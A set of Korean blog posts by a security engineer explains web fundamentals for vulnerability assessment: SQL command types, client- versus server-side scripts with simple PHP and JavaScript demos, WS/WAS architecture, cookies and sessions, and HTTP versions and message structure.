ORACLE, MSSQL 주석문자: --

참고

https://www.inflearn.com/course/SQL-%EC%9D%B8%EC%A0%9D%EC%85%98-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B3%B8-%EB%AC%B8%EB%B2%95

SQL Injection을 위한 데이터베이스 기초

Security Engineer — Sat, 16 Nov 2024 22:00:04 +0900

SQL 기본 문법을 알아야 하는 이유

취약점 진단 시 성공적인 SQL 인젝션 공격을 위해서는 SQL 기본 문법에 대한 이해는 필수다!

그림1 - SQL Injection 공격 개요

데이터베이스란 무엇인가?

데이터를 구조적으로 모아둔 데이터 집합소

관계형 데이터베이스(Relational Database: RDB)

- 데이터를 열과 행을 가진 테이블 형태로 표현하며, 구조적으로 데이터 관리를 한다.

그림2 - 관계형 데이터베이스

데이터베이스 용어

그림3 - 데이터베이스 용어

(A) = 데이터의 집합 → 테이블

(B) = 행 → 레코드

관계형 데이터베이스 관리 시스템(RDBMS)

관계형 데이터베이스를 관리하는 시스템을 RDBMS라고 부른다.

주요 기능은 데이터 추가, 수정, 삭제, 조회, 데이터 무결성 유지, 트랜잭션 관리, 백업 및 복원, 보안 등이 있다.

그림4 - 관계형 데이터베이스 관리시스템(RDBMS)

대표적인 관계형 데이터베이스는 Oracle, MySQL, MS-SQL, PostgreSQL 등이 있다.

NoSQL의 대표적인 제품에는 MongoDB가 있다.

DBMS를 사용하기 위해서는 어플리케이션이 사용되는데 크게 두 가지로 분류된다.

- SQL 클라이언트 프로그램

- JAVA, PHP, Python, C언어 등 프로그래밍 언어를 사용하여 접근

RDBMS의 절대강자 독보적인 1위 ORACLE

그림5 - 데이터베이스 순위

그림5의 출처는 https://db-engines.com/en/ranking 으로, 데이터베이스 순위를 확인할 수 있다.

MySQL ≒ MariaDB는 무료버전이라는 장점이 있다.

Oracle과 MS-SQL은 공공기관 및 주요 기업에서 주로 사용하며, 유료이다.

대부분 기업에서 Oracle을 독보적으로 많이 사용하며 그 다음으로 MS-SQL과 IBM Db2가 사용된다.

SQL이란 무엇인가?

SQL(Structured Query Language)

- 구조화된 질의문

그림6 - SQL 정의

Application = SQL 클라이언트 프로그램, 프로그래밍 언어(JAVA, PHP, Python 등)

Application에서 DBMS로 SQL을 사용하여 요청을 한다.

데이터베이스는 DBMS로 부터 요청을 받고 해당 데이터를 가져오거나 수정한다.

SQL 문법 종류

그림7 - SQL 문법 종류(1)

그림8 - SQL 문법 종류(2)

DDL(데이터 정의 언어)

- 테이블과 같은 데이터의 구조를 정의하는 언어

- 데이터를 생성, 수정, 삭제 하는 등의 데이터의 전체 골격을 결정한다.

- 데이터베이스, 테이블 등을 생성하는 역할 → 데이터 구조와 관련된 명령어

종류	역할
CREATE	데이터베이스, 테이블 등을 생성
ALTER	테이블을 수정
DROP	데이터베이스, 테이블을 삭제
TRUNCATE	테이블 초기화
RENAME	데이터베이스의 객체 이름 변경

DML(데이터 조작 언어)

- 정의된 데이터베이스에 입력된 레코드를 조회, 수정, 삭제하는 등의 역할을 하는 언어

- SQL Injection 공격 시 자주 사용되는 언어이다.

종류	역할
SELECT	데이터 검색
INSERT	데이터 삽입
UPDATE	데이터 수정
DELETE	데이터 삭제

DCL(데이터 제어 언어)

종류	역할
GRANT	특정 데이터베이스 사용자들에게 특정 작업에 대한 수행 권한 부여 (특정 사용자만 특정 작업을 할 수 있도록 지정 가능)
REVOKE	GRANT 명령으로 주어진 액세스 권한을 철회

TCL(트랜잭션 제어 언어)

- 데이터를 제어하는 언어

- 데이터의 보안, 무결성, 회복, 병행 수행제어 등을 정의하는데 사용

종류	역할
COMMIT	트랜잭션의 작업 결과를 저장 반영(트랜잭션 완료)
ROLLBACK	데이터베이스를 마지막으로 COMMIT된 시점의 상태로 복원 데이터에 대한 변경 내용은 논리적인 트랜잭션으로 그룹화 될 수 있다.
SAVEPOINT	ROLLBACK시 트랜잭션에 포함된 전체 작업 복원이 아닌 SAVEPOINT까지 트랜잭션의 일부만 롤백 가능

데이터 처리를 위한, CRUD

대부분 컴퓨터 소프트웨어가 가지는 기본적인 데이터 처리 기능인 Create(생성), Read(읽기), Update(갱신), Delete(삭제)를 묶어서 일컫는 말이다. 사용자 인터페이스가 갖추어야 할 기능(정보의 참조/검색/갱신)을 가리키는 용어로서도 사용된다.

그림9 - CRUD 의미

참고

https://www.inflearn.com/course/SQL-%EC%9D%B8%EC%A0%9D%EC%85%98-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B3%B8-%EB%AC%B8%EB%B2%95

Cilent-Side Script, Server-Side Script에 대한 이해

Security Engineer — Fri, 15 Nov 2024 22:00:39 +0900

Client-Side Sciprt와 Server-Side Script에 대한 이해

해당 실습을 진행하기 전 XAMPP를 설치해야 하는데, XAMPP 설치는 여기를 참고한다.

XAMPP 설치 후 C:\xampp\htdocs\example 경로에 test1.php 파일을 생성한다.

test1.php는 서버 측에서 실행되는 Server-Side Script로 만들어진 파일이다.

< test1.php >

<?php

	echo "test";
	
?>

해당 파일의 코드를 작성 후 127.0.0.1/example/test1.php 접속 시 웹 브라우저에서 아래와 같이 확인이 가능하다.

그림1 - test1.php(1)

그림2 - test1.php(1) 소스보기

test1.php 동적 자원을 호출하였더니, test 라는 문자열이 출력되었다.

소스 보기를 통해 확인해도 test 라는 문자열만 확인이 된다.

test1.php에는 echo "test"라는 코드를 작성하였는데 왜 test 라는 문자열만 출력되는 걸까?

echo 함수는 php에서 문자를 출력해주는 함수로 서버에서 echo 함수를 해석하여 test 문자열만 출력된 것이다.

클라이언트 측에서는 Server-Side Script로 작성된 코드를 확인할 수 없다.

만약 Client-Side Script 를 해당 코드에 추가하면 어떻게 인식될까?

< test1.php >

<?php

	echo "<b>test</b>";
	
?>

HTML <b> 태그를 사용하여 볼드 처리(굵게) 하였다.

웹 브라우저에서는 아래와 같이 확인된다.

그림3 - test1.php(2)

그림4 - test1.php(2) 소스보기

<b> 태그는 Client-Side Script 이기 때문에 웹 브라우저 인터페이스에서는 해석이 되어 test 문자열이 굵게 변하였다.

소스보기를 통해 확인한 결과, <b> 태그는 Client-Side Script 이기 때문에 Apache 웹 서버에서는 이를 해석하지 못하므로 코드 그대로 반환하였다.

JavaScript로 구구단 2단 코드 작성

php로 구구단 2단 코드 작성

<script>
var x = 2;
document.write("<b>>> Client-Side Script</b><br>");
for(var i=1; i<10; i++) {
	document.write(x + "x" + i + "=" + x*i + "<br>");
}
</script>


<?php
echo "<b>>> Server-Side Script</b><br>";
$x = 2;
for($i=1; $i<10; $i++) {
	$y = $x*$i;
	$result = "{$x}x{$i}={$y}<br>";
	echo $result;
}	
?>

코드 작성 후 127.0.0.1/example/test1.php 접속 시 웹 브라우저에서 아래와 같이 확인이 가능하다.

그림5 - test1.php(3)

그림6 - test1.php(3) 소스보기

test1.php가 웹 서버에서 기동되고 결과값을 반환한다.

JavaScript로 작성한 코드가 먼저 작성되어 있더라도, 웹 서버에서는 해석이 되지 않아 그대로 반환한다.

php로 작성한 코드는 웹 서버에서 해석하여 컴파일 한다.

웹 브라우저에서 웹 서버의 응답값을 받아서 출력하게되면, JavaScript로 작성된 코드가 해석되어 출력된다.

php로 작성된 코드도 웹 서버에서 해석하여 반환한 값을 그대로 출력하게 된다.

test1.php 페이지의 소스보기를 확인 시, Client-Side Script로 작성된 코드(JavaScript)는 웹 서버에서 해석하지 못해 코드 그대로 반환되며, Server-Side Sciprt로 작성된 코드(php)는 웹 서버에서 해석되어 결과값이 반환되는 것을 확인할 수 있다.

결론

1. Client-Side Script는 웹 서버에서 해석이 불가능하여 소스보기로 확인 시 코드가 그대로 반환된다.

2. Server-Side Script는 웹 서버에서 해석이 되어 소스보기로 확인 시 결과값만 반환된다.

3. 웹 브라우저는 Client-Side Script를 해석하며, 서버에서 보낸 응답값과 같이 출력해준다.

→ Client-Side Script는 공격자가 코드를 확인하여 변조가 가능하므로 보안에 취약하다.

→ Server-Side Script는 결과값만 반환하므로 공격자가 변조하기 어렵다.

참고

https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88

웹 아키텍처 분석

Security Engineer — Thu, 14 Nov 2024 22:00:14 +0900

웹 아키텍처

일반적인 웹 아키텍처는 클라이언트 - 웹 서버 - 데이터베이스의 형태로 구성되어 있다.

영역별로 프론트 엔드(Front-End)와 백 엔드(Back-End)로 나뉜다.

웹 개발자들은 프론트 엔드 개발자와 백 엔드 개발자로 나뉘며, 두개를 전부하는 풀스택 개발자도 있다.

아래는 웹 아키텍처는 웹을 단순화 시킨 구조로 실제 환경은 이보다 훨씬 복잡하다.

취약점 진단에 앞서서 웹 아키텍처에 대한 이해는 필수이다.

그림1 - 웹 아키텍처 구조

프론트 엔드 = HTML, CSS, JavaScript

백 엔드 = PHP, JSP, ASP

웹 아키텍처 동작 원리 분석

클라이언트 측에서 사용자가 웹 브라우저를 통해 사이트 접속을 하게 된다.

그러면 웹 브라우저에서는 가장 먼저 도메인에 따른 IP 변환 작업을 한다.

이유는 데이터 전송을 위해서는 IP가 반드시 필요하기 때문이다. → 도메인만으로는 통신 불가

이후 요청 메시지를 제작한다.

그림2 - 웹 아키텍처 동작 원리 분석(1)

클라이언트에서 브라우저를 통한 사이트 접속

1. 웹 사이트 접속 - URL 입력

2. 도메인 → IP 변환 작업

3. HTTP 요청 메시지 제작 후 웹 서버에 전송

HTTP 프로토콜은 TCP/IP 통신을 기반으로 하기 때문에 3-way hand shake 과정을 거쳐야 한다.

클라이언트는 웹 서버와 통신하기 위해 다음 단계를 거친다.

1. 3-way hand shake 과정

2. HTTP 요청 메시지 웹 서버로 전송

3. 요청에 따른 DB 연결 및 질의 과정 → 정적 페이지인 경우 질의 X

4. 응답 메시지 제작 후 클라이언트로 전송

그림3 - 웹 아키텍처 동작 원리 분석(2)

응답 메시지를 받으면 이를 해석 후 바디에 있는 데이터인 HTML 코드를 웹 브라우저가 해석 하여 사용자에게 깔끔한 인터페이스를 제공하게 된다.

그림4 - 웹 아키텍처 동작 원리 분석(3)

클라이언트

클라이언트 프로그램은 대표적으로 웹 브라우저가 있으며, 웹 브라우저 종류는 다음과 같다.

- 크롬, 엣지, 사파리, 파이어폭스 등

웹 브라우저는 사용자가 입력한 URL을 이용해 서버에 자원을 요청하고, 서버로부터 응답을 받아서 해석 후 사용자에게 GUI 환경을 제공한다.

그림5 - 웹 브라우저의 역할

웹 사이트 구조 분석

웹 사이트 구조는 HTML, CSS, JavaScript 3요소로 구성되어 있다.

웹에 가독성 있는 인터페이스를 구성 = HTML, CSS 사용

동적인 인터페이스 구성 = JavaScript 사용

아래와 같은 일반적인 웹 사이트 구조는 웹 서버와 통신을 위해 HTML 태그를 사용하거나 JavaScript를 통해 통신이 가능하다.

그림6 - 일반적인 웹 사이트 구조

오늘날의 웹 사이트 구조는 이전의 구조에 비해 큰 변화를 가지고 왔다.

Ajax라는 기술로써 페이지 동기화 필요 없이 서버에 요청/응답을 받아 페이지 재구성(렌더링)이 가능해졌다.

기존 웹 패러다임을 전환하는 기술로써 현재 많이 사용되고 있다. 또한 백엔드 측에 부하율을 낮출 수 있기 때문에 트래픽이 많이 발생되는 웹 사이트의 경우 Ajax 기술을 적극적으로 사용하고 있다.

그림7 - Ajax 기반 웹 사이트 구조

Ajax 란? 자바스크립트를 이용해서 비동기적(Asynchronous)으로 서버와 브라우저가 데이터를 교환할 수 있는 통신 방식을 의미한다.

일반적인 웹 사이트 구조 = 서버로부터 웹 페이지가 반환되면 화면 전체를 갱신

Ajax 기반 웹 사이트 구조 = 갱신에 필요한 일부만 로드하여 갱신

페이지 전체를 로드하여 렌더링할 필요가 없으므로 빠른 퍼포먼스와 부드러운 화면 표시 효과가 있다.

Ajax 기반 웹 사이트 진단

Ajax 기반의 웹 사이트라고 해서 진단 방법이 달라지는 것은 아니다.

요청과 응답의 행위는 동일하게 하기 때문이다. 그러나 이 과정에서 컨텐츠 타입(Content-Type)이 달라 당황하는 경우가 있는데 전혀 그럴 필요가 없다. 응답 컨텐츠의 경우 HTML이 아닌 xml, json 타입이라도 인터페이스를 구성하는 데이터로 사용되기 때문에 JavaScript를 분석 후 알맞게 데이터 변조를 하면 된다.

그림8 - Ajax 기반 웹 사이트 진단

Ajax 기반 웹 페이지 진단 시 응답값 내 flag의 N을 Y로 변조 후 페이지 출력을 확인하는 등의 방법을 사용한다.

웹 서버 그리고 웹 어플리케이션 서버

웹 서버는 클라이언트 자원 요청에 따른 웹 서비스를 제공한다.

웹 서버의 종류는 아파치, IIS, Nginx, WebtoB, Oracle HTTP Server 등이 있다.

JAVA Web Application 환경의 경우 웹 서버와 웹 어플리케이션 서버를 분리하여 사용한다.

웹 서버 = 정적인 컨텐츠 자원 제공 → 이미지, 텍스트 파일

웹 어플리케이션 서버(WAS) = 동적인 컨텐츠 자원 제공 → jsp, .do

2개의 서버를 사용하여 자원 처리에 효율적이며 유연한 서비스 제공을 목표로 한다.

그림9 - 2-Tier와 3-Tier 구조

웹 서버 동작 원리 분석

클라이언트 측에서 웹 서버에 요청 메시지를 보내면 웹 서버는 요청된 자원 유/무를 검토하여 클라이언트 측에 응답 메시지에 실어 보낸다. 이때 웹 서버 측에서는 어떤 동작 원리로 클라이언트가 요청한 자원을 호출할까?

웹 서버에 index.jsp라는 자원이 있는데, 어느 경로에 있는 index.jsp를 찾는 걸까?

그림10 - 웹 서버 동작 원리 분석(1)

그림11 - 웹 서버 동작 원리 분석(2)

웹에서 호출할 수 있는 자원이 있는, 웹 디렉터리

우리가 URL로 서버에 자원을 요청하는 것들은 웹 서버에 어떠한 설정된 경로로 인해 가능하다.

이렇게 웹 서버에서 바라보는 경로를 웹 디렉터리, 웹 루트, 도큐먼트 루트 등으로 부른다.

이 설정 파일은 파일 다운로드/업로드 취약점 공격 시 많이 활용된다.

→ 웹 디렉터리를 설정하는 파일은 파일 다운로드/업로드 취약점 공격에 많이 활용됨.

그림12 - 웹 디렉터리

JAVA Web Application 환경의 3-Tier 구조 동작 원리

사용자 측에서 정적 자원을 요청할 경우 웹 서버 측에서 처리 후 응답 메시지를 보낸다.

그림13 - 정적 자원 요청 시 3-Tier 구조 동작 원리

동적 자원을 요청할 경우 웹 서버는 웹 어플리케이션 서버로 포워딩(Forwarding)하며, 웹 어플리케이션 서버에서 이를 받은 후 어플리케이션 로직에 따라 처리 후 응답 메시지를 사용자에게 보낸다.

만약, 로직 상에 데이터베이스 질의 과정이 있을 경우 데이터베이스와 연결을 한다.

그림14 - 동적 자원 요청 시 3-Tier 구조 동작 원리

JAVA Web Application 환경의 WS/WAS 구성

웹 서버와 웹 어플리케이션은 논리적인 구성과 물리적인 구성으로 분리된다.

그림15 - JAVA Web Application 환경의 WS/WAS 구성

대부분 하나의 회사에서 제공되는 웹 서버와 웹 어플리케이션 서버를 쌍으로 사용한다.

가격면이나, 설치, 유지보수 등 대응면에서 훨씬 효율적이기 때문이다.

그림16 - 웹 서버와 웹 어플리케이션 조합

WAS는 정적인 자원을 처리하지 못할까?!

→ 처리 가능하다!

근데 왜 굳이 WS와 WAS로 분리 하였을까?

→ 업무 분담을 하여 자원 처리에 대한 효율성을 극대화 하기 위해서

웹 서버와 웹 어플리케이션 서버를 분리하는 이유

웹 서버는 정적 자원 처리에 대해 최적화가 되어 있다.

웹 어플리케이션 서버는 동작 자원 처리에 최적화가 되어 있다.

업무 분담을 하여 자원 처리에 대한 효율성을 극대화 시킨다.

그림17 - 웹 서버/웹 어플리케이션 서버 분리

데이터베이스

데이터베이스는 동적인 컨텐츠를 제공하기 위해 데이터를 저장해두는 저장소로 일반적으로 사용자 정보, 상품 정보, 커뮤니티 정보 등 수 많은 정보들이 저장되는 곳으로 게시판에 글을 쓰고 보고, 회원 가입을 하여 로그인을 할 수 있는 이유도 데이터베이스 때문이다.

그림18 - 데이터베이스 종류

Server Side와 Client Side에 대한 이해

웹 구조는 크게 Server Side와 Client Side로 나눌 수 있다.

Client-Side Script = 웹 클라이언트에서 해석되는 스크립트(언어) → HTML, CSS, JavaScript

Server-Side Script = 웹 어플리케이션 서버에서 해석되는 스크립트(언어) → PHP, JSP, ASP /.NET

웹 어플리케이션 서버에 따라 해석할 수 있는 언어가 달라진다.

Tomcat의 경우 JSP 해석이 가능하다.

그림19 - Client-Side와 Server-Side

Client-Side Script 기반 보안 검증이 안전하지 않은 이유

클라이언트 측에서 보안 검증 절차가 구현 되어있다 하더라도 서버 측 보안 검증 로직을 반드시 구현해야 한다.

웹 프록시 도구와 개발자 도구를 통해 Client-Side Script 조작 및 값 변조가 가능하기 때문에 사실상 검증 자체가 무의미하다. 뿐만 아니라 input 태그의 hidden 타입의 전송도 웹 프록시 도구 혹은 개발자 도구로 확인 할 수 있으며, 변조가 가능하기 때문에 해당 값을 신뢰해서는 안된다.

클라이언트 측 보안 검증 절차 = JavaScript에 의한 구현 = 웹 프록시 도구로 변조 가능

그림20 - Client-Side Script 기반 보안 검증이 안전하지 않은 이유

input 태그의 hidden 타입은 게시글 번호를 사용자에게 굳이 출력하지 않아도 되는 경우에 사용한다.

사용자 정보 수정 페이지 등 중요한 기능에 input 태그의 hidden 타입으로 전송하게 되면 웹 프록시 도구에 의해 노출되기 때문에 값이 변조될 수 있으므로, 세션과 암호화된 쿠키를 사용하여 사용자 인증을 한다.

참고

https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88

쿠키와 세션

Security Engineer — Sat, 9 Nov 2024 22:00:12 +0900

상태 유지 및 관리의 필요성

최초의 웹은 단순히 문서를 전달 받고 정보를 공유하는 목적으로 사용되었으며, 이 경우에는 상태 유지 및 관리가 굳이 필요하지 않다. 그러나 오늘날의 웹은 쇼핑몰에서 원하는 상품을 장바구니 혹은 카트에 담고 쇼핑이 완료되면 결제하고 결제가 완료되면 정상적으로 결제가 되었는지 확인을 하며, 예상 도착일을 본다. 또한 한번의 로그인을 통해 다른 페이지 접근 시 나에 대한 상태 정보가 유지 된다. 이러한 상태 유지 및 관리를 위해서는 쿠키가 사용된다.

그림1 - 쿠키 사용 목적

쿠키

쿠키를 통해 사용자 식별 및 세션 유지를 통해 클라이언트와 서버 간의 상태 관리를 한다.

웹의 중요한 기술중의 하나로 현재 가장 많이 사용되고 있는 인증 방식이다.

쿠키의 종류는 지속 쿠키, 세션 쿠키가 있다.

쿠키 → 지속 쿠키(Persistent Cookie)

세션 → 세션 쿠키(Session Cookie)

그림2 - 쿠키의 종류

쿠키 헤더 구조

서버에서 클라이언트로 쿠키 발급 시 Set-Cookie 헤더에 의해 클라이언트 쿠키 값이 세팅되며, 해당 사이트 접근 시 마다 클라이언트는 Set-Cookie에 의해 세팅된 값을 Cookie 헤더에 세팅하여 요청 메시지를 전달한다. 서버는 이를 통해 상태 관리를 한다.

그림3 - 쿠키 헤더 구조

지속 쿠키(Persistent Cookie)

지속 쿠키는 웹 서버에서 발급 시 클라이언트 하드 디스크에 텍스트 형태로 저장이 된다.

클라이언트 PC 사용자들은 해당 쿠키 정보를 열람할 수 있다.

보안에 취약하다.

그림4 - 지속 쿠키를 통한 통신

지속 쿠키(Persistent Cookie) - 쿠키 발급 과정

아래는 지속 쿠키를 기반으로 된 로그인 기능이다.

1. 클라이언트 → 서버 = 로그인 시도

2. 서버 → 클라이언트 = 응답값 전송, Set-Cookie 세팅, 클라이언트는 해당 사이트에 대한 쿠키값 세팅

3. 클라이언트 → 서버 = Cookie 헤더에 의해 사용자 식별됨, 로그인 계정 지속 유지

그림5 - 지속 쿠키를 기반으로 한 로그인 기능(1)

그림6 - 지속 쿠키를 기반으로 한 로그인 기능(2)

그림7 - 지속 쿠키를 기반으로 한 로그인 기능(3)

지속 쿠키(Persistent Cookie) - 쿠키 폐기 과정

쿠키에 대한 폐기 과정은 다음과 같다.

1. 클라이언트 → 서버 = 로그아웃 요청

2. 서버 → 클라이언트 = Set-Cookie의 삭제시킬 id전송, 클라이언트에서 해당 사이트에 대한 쿠키값이 삭제된다.

그림8 - 지속 쿠키를 기반으로 한 로그아웃 과정

지속 쿠키(Persistent Cookie) - 문제점

쿠키를 폐기하여도 해당 값을 알고 있으면 재사용이 가능한 문제점이 있다.

즉, 폐기 후에도 재사용이 가능하다는 것이다. 또한 쿠키 값이 평문일 경우 변조의 위험이 있기 때문에 사용자 식별 및 인증 관리를 할 경우 반드시 암호화 과정을 거쳐야 한다. 또한 쿠키의 유효기간에 따른 폐기 방법, 암호화 알고리즘에 대한 적절성 등을 잘 검토하여 쿠키 발급 로직을 구현해야 한다.

그림9 - 지속 쿠키의 문제점

세션 쿠키(Session Cookie)

세션 쿠키는 웹 서버에서 발급 시 클라이언트 웹 브라우저 캐시에 저장되며, 정상적으로 로그인 시 웹 어플리케이션 서버는 서버 측에 해당 세션에 대한 정보를 저장한다. 이때 서버에서 세션을 저장하는 방법으로 메모리, 파일 시스템, 데이터베이스에 저장하는 방법들이 있으며, 일반적으로 메모리에 저장해 둔다. 그리고 세션은 문자가 암호화, 난독화 되어 있는 형태가 아닌 임의의 문자들이 무작위로 나열된 것으로 공격자 측에서는 특정 사용자의 세션을 추측하기는 어렵다.

그림10 - 세션 쿠키를 통한 통신

세션 쿠키(Session Cookie) - 세션 발급 과정

아래는 세션 쿠키를 기반으로 된 로그인 기능이다.

1. 클라이언트 → 서버 = 로그인 시도, 웹 어플리케이션 서버에 세션값(의미없는 문자열 + 로그인 데이터) 저장

2. 서버 → 클라이언트 = 응답값 전송, Set-Cookie 세팅, 클라이언트는 해당 사이트에 대한 세션값 세팅

3. 클라이언트 → 서버 = Cookie 헤더를 통해 세션값을 세팅, 서버에 저장된 세션으로 인해 로그인 지속 유지

그림11 - 세션 발급 과정(1)

그림12 - 세션 발급 과정(2)

그림13 - 세션 발급 과정(3)

세션 쿠키(Session Cookie) - 세션 폐기 과정

아래는 세션 폐기 과정이다.

1. 클라이언트 → 서버 = 로그아웃 요청, 서버에서 해당 계정에 대한 세션값 삭제

2. 서버 → 클라이언트 = 로그아웃 완료

세션 쿠키는 지속 쿠키와 다르게 폐기 후 재사용에 대한 문제점이 해결된다.

→ 서버에서 세션값을 삭제했기 때문에, 동일한 문자열의 세션값으로 로그인 시도를 해도 로그인이 되지 않는다.

그림14 - 세션 폐기 과정

지속 쿠키의 필요성

세션 쿠키를 사용하면 되지, 왜 지속 쿠키를 사용할까?

세션 쿠키를 사용하면 보안 담당자, 개발자들이 편하다.

그러나 대규모 웹 서비스의 경우 수많은 사용자들의 세션을 관리하기에는 서버에 엄청난 부하를 가져온다.

이러한 이유로 서버에 부담이 낮은 지속 쿠키 사용을 많이 선호한다.

그림15 - 지속 쿠키 사용 이유

쿠키와 세션의 차이는 여기를 참고

정리

명칭	저장되는 곳 (물리적 위치)	특징
세션 쿠키 (Session Cookie)	사용자 컴퓨터의 RAM (메모리)	브라우저를 끄면 증발함 (PHPSESSID)
지속 쿠키 (Persistent Cookie)	사용자 컴퓨터의 HDD/SSD (파일)	브라우저를 꺼도 수명만큼 살아남음 (remember_id)
세션 (Session)	웹 서버의 메모리 or DB or 파일	실제 로그인 정보(ID, 등급 등)가 담긴 본체

참고

https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88

웹의 핵심 기술 HTTP 프로토콜

Security Engineer — Fri, 8 Nov 2024 22:00:39 +0900

HTTP 프로토콜 개념

팀 버너스 리 박사에 의해 개발된 HTTP(HyperText Transfer Protocol)는 하이퍼텍스트 문서를 전송하기 위해 사용되는 프로토콜, 즉 통신 규약으로 웹의 핵심 기술이다. 하이퍼텍스트 문서는 HTML 파일이다.

그림1 - HTTP 통신

HTTP 버전

HTTP 버전은 다음과 같다.

HTTP/0.9

최초로 웹이 만들어 졌을 때 오직 HTML을 받아 오기위해 만들어 졌다.

그래서 버전 번호도 없고 명세서도 없으며, 정식 사양이 아니었다.

이후 HTTP/1.0부터 정식 사양으로 되면서 이전이랑 의미로 HTTP/0.9라는 버전이 붙여졌다.

HTTP/0.9는 GET메소드만 지원하며, 특별한 기능은 없다.

HTTP/0.9에서 HTTP/1.0으로 빠르게 대체되었다.

HTTP/1.0

HTTP의 정식 사양으로 처음으로 널리 사용하기 시작한 버전으로 RFC1945가 발행되었다.

HTTP/1.0부터 POST, HEAD 메소드, 헤더를 지원하며, 요청의 결과를 알 수 있는 상태코드가 추가되었다.

HTML 파일들 외 다른 파일들도 전송이 가능하게 되었다. 허나 각 요청마다 새로운 연결을 맺고 끊고 다시 새로운 연결을 맺는 비효율적인 비 연결지향(Connectionless)방식으로 성능이 떨어진다.

HTTP/1.0+

HTTP/1.0은 비효율적인 연결에 대한 문제가 있었다.

HTTP/1.0+에서는 "Keep-Alive 커넥션"을 지원함으로써 여러 번 커넥션을 맺는 설계상의 문제를 해결하였다.

HTTP/1.1

HTTP/1.1은 현재 가장 많이 사용되고 있는 버전으로 HTTP의 설계상 문제들을 해결하고 성능을 최적화하였다.

HTTP/1.0+에서는 Keep-Alive 커넥션을 통해 지속 연결(Persistence Conneciton)을 지원하였으나, HTTP/1.1부터 Keep-Alive는 명세에서 빠지고 기본으로 지속 연결이 활성화 되어 있다. 모든 요청이 끝나면 "Conneciton:close" 헤더를 통해 연결 종료를 알린다. 또한, 기존이 "GET, POST, HEAD" 3가지 뿐이었던 메소드가 "OPTIONS, PUT, DELETE" 등 많은 메소드가 추가되었다.

HTTP/2.0

HTTP의 성능 문제는 여전히 존재하였으며, 특히 요즘 웹의 경우 하나의 웹 페이지를 보기 위해서 수십개의 요청을 보내야 정상적으로 페이지를 볼 수 있다. 때문에 이런 문제를 해결할 수 있는 HTTP/2.0이 등장하였다. HTTP/2.0은 성능 향상에 초점을 둔 프로토콜로 멀티플렉싱 스트림, 헤더 압축, 서버 푸시 등의 기능이 추가되었다.

OSI 7 Layer에서 바라 본 HTTP 프로토콜

OSI 계층 모델은 각 기능별 모듈화 된 기능을 계층별로 총 7계층으로 구성되어 있다.

그러나 이는 교육에 대한 적합한 모델로 실제 TCP/IP 계층 모델을 표준으로 하고 있다.

웹에서 사용되는 HTTP, HTTPS 프로토콜은 응용 계층에 해당 된다.

그림2 - OSI 7 Layer, TCP/IP 계층

TCP/IP 통신에 대한 이해

우리는 인터넷을 이용하여 TCP/IP 기반의 통신을 하며, 대부분의 네트워크 통신은 TCP/IP기반 통신을 근간으로 한다. 이때 통신을 하기 위한 중요한 정보가 있는데 IP와 port가 있다. IP를 통해 물리적 호스트 대상을 찾으며, port를 통해 논리적 대상을 찾는다.

그림3 - 브라우저와 서버의 통신

통신 순서

1. 3-way handshake

2. 데이터 전송 및 수신

연결 관리 방식

HTTP 프로토콜의 연결 관리 방식은 크게 두 가지로 나뉜다.

- 비 지속 연결(Non-Persistent Connection)

- 지속 연결(Persistent Connection)

HTTP 버전에 따라 사용 되는 연결 방식이 다른데, HTTP/0.9, HTTP/1.0까지는 비 지속 연결이다.

HTTP/1.0+, HTTP/1.1, HTTP/2.0은 지속 연결이다. HTTP/1.0+에서 Keep-Alive 커넥션을 통해 지속 연결을 지원하며, HTTP/1.1부터는 명세에서 빠지고 지속 연결을 기본으로 한다. 즉, Keep-Alive 사용없이 모든 연결을 지속 연결로 한다.

그림4 - HTTP 연결 관리 방식

비 지속 연결(Non-Persistent Connection)

비 지속 연결은 초기 HTTP에서 사용하던 방식으로 HTTP/1.0까지 사용되었다.

초기의 웹은 단순히 문서를 전달하는 방식으로 지속 연결이 필요하지 않았다.

때문에 한번의 요청과 응답 과정을 거치면 바로 연결을 끊어버렸다.

오늘날의 웹 문서의 경우 인터페이스를 구성하기 위해 많은 리소스가 필요한데 리소스 요청 시 마다 3-way handshake를 수행해야 하기 때문에 오늘날의 웹과 부적합한 연결 방식이다.

그림5 - 비 지속 연결

지속 연결(Persisten Connection)

웹의 기술 흐름에 맞게 HTTP/1.0+에서 Keep-Alive 연결을 지원한다.

헤더에 "Connection: Keep-Alive" 문구가 명시가 되어 있으면, 지속 연결을 사용한다는 것이다.

HTTP/1.1부터는 "Connection: Keep-Alive" 헤더 필요 없이 기본으로 지속 연결을 하게 된다.

단 한번의 3-Way Handshake 과정으로 여러 번의 요청과 응답 과정을 거치며, 비 지속 연결에 비해 시간이 확연히 단축된다는 것을 알 수 있다.

그림6 - 지속 연결

HTTP 메시지 - 메시지 구조

HTTP 메시지로 웹 브라우저가 요청할 때 보내는 메시지를 요청 메시지(Request Message)라고 한다.

웹 서버가 HTTP 요청 메시지를 받고 응답할 때 보내는 메시지를 응답 메시지(Response Message)라고 한다.

메시지 구조는 시작줄, 메시지 헤더, 메시지 바디로 나뉜다.

각 행은 개행 문자(\r\n)을 기준으로 분류 한다.

그림7 - HTTP 메시지 구조

요청 메시지 시작줄 → 무엇을 요청하는지

응답 메시지 시작줄 → 요청에 대한 결과값

요청 메시지 헤더 → 요청의 상세 속성 정보(Host, Content Type, Cookie 등)

응답 메시지 헤더 → 응답의 상세 속성 정보

요청 메시지 바디 → 데이터를 실어서 전송(POST 메소드)

응답 메시지 바디 → 요청한 데이터를 실어서 응답

HTTP 메시지 - 개행 문자

개행 문자는 텍스트의 한 줄이 끝남을 표시하는 문자 또는 문자열이다.

새 줄 문자 혹은 줄 바꿈 문자라고도 한다.

OS 혹은 프로토콜마다 개행 문자의 ASCII 값이 다른데 HTTP 와 같은 인터넷 프로토콜의 경우 ASCII의 CR + LF를 개행 문자로 사용하도록 규정하고 있다.

CR = Carriage Return = \r (문자) = 0x0D (Hex)

LF = Line Feed = \n (문자) = 0x0A (Hex)

HTTP 통신 상에서 이러한 개행 문자로 라인을 구분하여 데이터 식별을 하게 된다.

개행 문자를 두 번 사용하여 메시지 헤더의 끝을 알린다. = \r\n\r\n = 한 줄 띄기

그림8 - HTTP 메시지 개행 문자

